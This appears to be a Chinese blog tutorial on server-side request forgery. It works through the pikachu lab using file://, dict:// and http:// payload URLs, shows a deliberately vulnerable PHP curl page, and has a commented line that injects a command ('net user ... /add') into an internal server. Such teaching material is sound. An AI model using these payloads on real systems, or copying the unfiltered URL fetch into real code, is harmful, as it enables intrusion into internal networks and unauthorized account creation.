SSRF-服务器端请求伪造

1. 目标

从外网无法访问的内部系统

2. 原因

由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
数据流:攻击者→服务器→目标地址
php中的这三个函数curl_exec()函数(进行目标地址解析),file_get_contents()→将整个文件读入一个字符串,fsockopen()→打开一个网络连接或者一个Unix套接字连接使用不当就会造成SSRF漏洞。

3.原理

当攻击者想要访问服务器B上的服务,但是由于存在防火墙或者服务器B是属于内网主机等原因导致攻击者无法直接访问。如果服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,达到攻击内网的目的。

4.危害

(1)扫内网
(2)向内部任意主机的任意端口发送精心构造的Payload
(3)DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
(4)攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如struts2,sqli等)
(5)利用file、gopher、dict协议读取本地文件、执行命令等

5.漏洞检测

(1)抓包分析
(2)ssrfmap(利用它可检测与利用 SSRF 漏洞)

6. pikachu靶场

6.1 SSRF(curl)

支持多种协议(file http https等)
服务器没有对传进来的URL参数进行过滤,并且把服务器请求的结果输出到了前端。
在这里插入图片描述
此时的url是http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
漏洞利用
(1)利用http协议探测内网存活主机(信息):将url改为内网的其他主机ip
输入url http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/
在这里插入图片描述
(2)利用file协议读取文件
注:文件nihao.txt内容就是hello
在这里插入图片描述
(3)扫描内网端口(http(s)协议和dict协议):
在这里插入图片描述

6.2 SSRF(file-get-content)

读取文件内容
注:文件nihao.txt内容就是hello
输入url http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=file://C:\nihao.txt
在这里插入图片描述

7.代码构造及漏洞利用

ssrf.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<form action="" method="POST"> 
请输入图片地址:<input type='text' name='url'> 
<input type='submit' value="提交"> 
</form> 
<?php 
/* 
$url=$_POST['url']; 
$img 
= 
file_get_contents('http://192.168.64.144:8080/?search==%00{.exec|cmd.exe /c net user test1234 1234 /add.}'); 
echo $url; 
echo $img; 
//header("Content-Type: image/jpeg;text/html; charset=utf-8"); 
//echo $img; 
//$file=fopen('x.png','w+'); 
//fwrite($file,$img); 
//fclose($file); 
*/ 
?> 
<?php 
$_POST['url']; 
$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $_POST['url']); 
curl_setopt($ch, CURLOPT_HEADER, false); 
curl_exec($ch); 
curl_close($ch); 
?>

在这里插入图片描述
输入http://127.0.0.1:3306
在这里插入图片描述
可以获得数据库版本,黑客就是通过ssrf攻击获取内网主机的信息

8.漏洞利用协议总结

http
file(本地) file://D:/www.txt
dict dict://192.168.64.144:3306/info
ftp ftp://192.168.64.144:21
gopher
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值